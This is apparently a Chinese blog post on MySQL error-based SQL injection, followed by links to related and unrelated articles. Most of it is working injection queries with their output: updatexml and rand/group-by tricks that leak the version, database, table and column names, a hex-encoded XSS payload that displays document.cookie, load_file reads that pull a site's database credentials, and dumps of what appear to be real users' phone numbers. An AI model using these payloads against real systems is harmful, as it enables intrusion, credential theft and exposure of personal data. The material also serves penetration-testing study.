mysql基于“报错”的注入
报错是如何转为xss的?
mysql语句在页面报错,泄露信息
=========================================================================================================================================================================
* 报错方式之“updatexml”,有字数限制,但无需配合union。
- mysql> select updatexml(1, concat(':', 'test'), 1);
ERROR 1105 (HY000): XPATH syntax error: ':test'
- mysql> select updatexml(1, concat(0x3a, 'test'), 1);
ERROR 1105 (HY000): XPATH syntax error: ':test'
- mysql> select updatexml(1, concat(0x5e, 'test'), 1);
ERROR 1105 (HY000): XPATH syntax error: '^test'
- mysql> select * from f_user where id=1 or 1=updatexml(1,concat(0x5e, 'test'),1);
ERROR 1105 (HY000): XPATH syntax error: '^test'
** 将上面‘test’换成你的子查询语句或函数均可。 * group by+rand(0)+having,无字数限制,无需配合union。
- mysql> select * from f_user where id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0);
ERROR 1062 (23000): Duplicate entry '5.6.21-log~1' for key 'group_key' * 报错方式之“rand+count+group by”,需配合union
rand(0)无论在哪台机器运行多少次,生成的序列都是一样的
参考mysql开发者社区曝光的bug http://bugs.mysql.com/bug.php?id=8652
- mysql> select 1,2,count(*),concat('test', char(0x5e), floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'test^1' for key 'group_key'
- mysql> select 1,2,count(*),concat('test', char(0x5e), left(rand(0),3))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'test^0.7' for key 'group_key'
** 将上面‘test’换成你的子查询语句或函数均可。 mysql转xss语句
mysql> select 1,2,count(*),concat((select 0x2F3E3C696D67207372633D226675636B22206F6E6572726F723D616C65727428646F63756D656E742E636F6F6B6965293E), char(0x5e), left(rand(0),3))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '/><img src="fuck" onerror=alert(document.cookie)>^0.7' for key 'group_key' 直接爆配置文件密码,前提是有file权限
mysql> select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),150,40) ),1);
ERROR 1105 (HY000): XPATH syntax error: ': 'DB_NAME' => 'fan******un','
mysql> select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),200,40) ),1);
ERROR 1105 (HY000): XPATH syntax error: ': 'DB_USER' => 's*********b', /'
mysql> select 1,2,3,updatexml(1,concat(char(58),substr(load_file(0x2F616C69646174612F7777772F66616E676A69616E676A756E2F4170706C69636174696F6E2F436F6D6D6F6E2F436F6E662F64622E706870),250,40) ),1);
ERROR 1105 (HY000): XPATH syntax error: ':PWD' => 'hahahaahhah',' 爆版本
mysql> select 1,2,3,4 union select distinct concat((select version()),floor(rand(0)*2))a, count(*),3,4 from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.6.21-log1' for key 'group_key' 爆库名
mysql> select info();
ERROR 1305 (42000): FUNCTION fangjiangjun.info does not exist
mysql> select count(*), ( concat( (select database()), char(0x5e), floor(rand(0)*2) ) )x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'fangjiangjun^1' for key 'group_key' 爆表名
mysql> select concat( (select distinct table_name from information_schema.tables limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'CHARACTER_SETS^1' for key 'group_key'
mysql> select concat( (select distinct table_name from information_schema.tables limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'COLLATIONS^1' for key 'group_key'
mysql> select concat( (select distinct table_name from information_schema.tables limit 2,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'COLLATION_CHARACTER_SET_APPLICABILITY^1' for key 'group_key' mysql> select concat( (select distinct table_name from information_schema.tables where table_schema='fangjiangjun' limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'f_admin^1' for key 'group_key'
mysql> select concat( (select distinct table_name from information_schema.tables where table_schema='fangjiangjun' limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'f_admin_role^1' for key 'group_key' 爆字段名
mysql> select concat( (select distinct column_name from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'id^1' for key 'group_key'
mysql> select concat( (select distinct column_name from information_schema.columns where table_schema='fangjiangjun' and table_name='f_user' limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry 'login_time^1' for key 'group_key' 爆字段值
mysql> select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 0,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '18602029479^1' for key 'group_key'
mysql> select concat( (select mobile_phone from fangjiangjun.f_user order by id limit 1,1), char(0x5e), floor(rand(0)*2) )x, count(*) from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '15602267509^1' for key 'group_key'
mysql基于“报错”的注入的更多相关文章
- sql注入--基于报错的注入
这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...
- 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记
phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...
- MySQL基于报错注入2
目标站点: 0x1 注入点判断 http://www.xxxxxx.com/pages/services.php?id=1 #true http://www.xxxxxx.com/pages/serv ...
- MySQL基于报错注入1
0x1 判断注入点: http://www.xxxx.ro/s.php?id=1' 那么尝试闭合下单引号 http://www.xxxx.ro/s.php?id=1' --+ 0x2 枚举下表的列 h ...
- sqli-labs:1-4,基于报错的注入
sqli1: 脚本 # -*- coding: utf-8 -*- """ Created on Sat Mar 23 09:37:14 2019 @author: ke ...
- Mysql报错型注入总结
Mysql注入虽然是老生常谈的问题,但是工作中更多的是使用sqlmap等工具进行注入测试的,原理方面还是不是很清楚,所以这段时间主要是自己搭建环境在学手工注入,简单的将自己的学习做一个总结和记录.在常 ...
- python 3.5.2安装mysql驱动报错
python 3.5.2安装mysql驱动报错 python 3.5.2安装mysql驱动时出现如下异常: [root@localhost www]# pip install mysql-connec ...
- Loadrunner参数化连接oracle、mysql数据源报错及解决办法
Loadrunner参数化连接oracle.mysql数据源报错及解决办法 (本人系统是Win7 64, 两位小伙伴因为是默认安装lr,安装在 最终参数化的时候,出现连接字符串无法自动加载出来: 最 ...
- 连接mysql数据库报错java.sql.SQLException: The server time zone value '�й���ʱ��' is unrecognized...解决方法
今天连接mysql数据库报错如下: java.sql.SQLException: The server time zone value '�й���ʱ��' is unrecognized or r ...
随机推荐
- XP本地连接正常无法上网的解决方法
原文: http://www.doc88.com/p-599590609730.html
- Vmware虚拟机Devstack安装openstack(All in one)
Vmware虚拟机Devstack安装openstack(All in one) 博客园第一篇博客,先练习一下. 官方文档 环境 Vmware虚拟机 OS : Ubuntu 14.04 Nat网络,D ...
- linux-关机出现Telling INIT to go to single user mode.无法关机
运行/sbin/shutdown now最后显示:Telling INIT to go to single user mode.INIT:Going single userINIT:Sending g ...
- ubuntu-Linux系统读取USB摄像头数据(gspca)
将摄像头图像保存为jpg格式.摄像头需要是gspca免驱的.uvc若用uvc格式的需要在图像中插入Huffman表.否则无法正常显示. 程序代码: #include <stdio.h> # ...
- Linux下的串口编程及非阻塞模式
本篇介绍了如何在linux系统下向串口发送数据.包括read的阻塞和非阻塞.以及select方法. 打开串口 在Linux系统下,打开串口是通过使用标准的文件打开函数操作的. #include < ...
- Python的数据类型
Python的主要数据类型有:Number(数字),String(字符串类型),布尔值,List(列表),Tuple(元组)和Dictionary(字典). 1.数字(Number) 数字包括整数和浮 ...
- [NOI2006] 最大获利
[NOI2006] 最大获利 ★★★☆ 输入文件:profit.in 输出文件:profit.out 简单对比时间限制:2 s 内存限制:512 MB [问题描述] 新的技术正冲击着手 ...
- Node6.9.2 —— Http官网笔记整理
欢迎指导与讨论 : ) 序章 本文概要:http.Agent代理.http.ClientRequest客户端请求.http.server服务器.http.ServerResponse服务器相应.htt ...
- PIC12F508/505/509/510/506/519/526/527单片机破解芯片解密方法!
IC芯片解密PIC12F508/505/509/510/506/519/526/527单片机破解 单片机芯片解密型号: PIC12F508解密 | PIC12F505解密 | PIC12F506解密 ...
- CORS详解
介绍 由于同源策略的缘故,以往我们跨域请求,会使用诸如JSON-P(不安全)或者代理(设置代理和维护繁琐)的方式.而跨源资源共享(Cross-Origin Resource Sharing)是一个W3 ...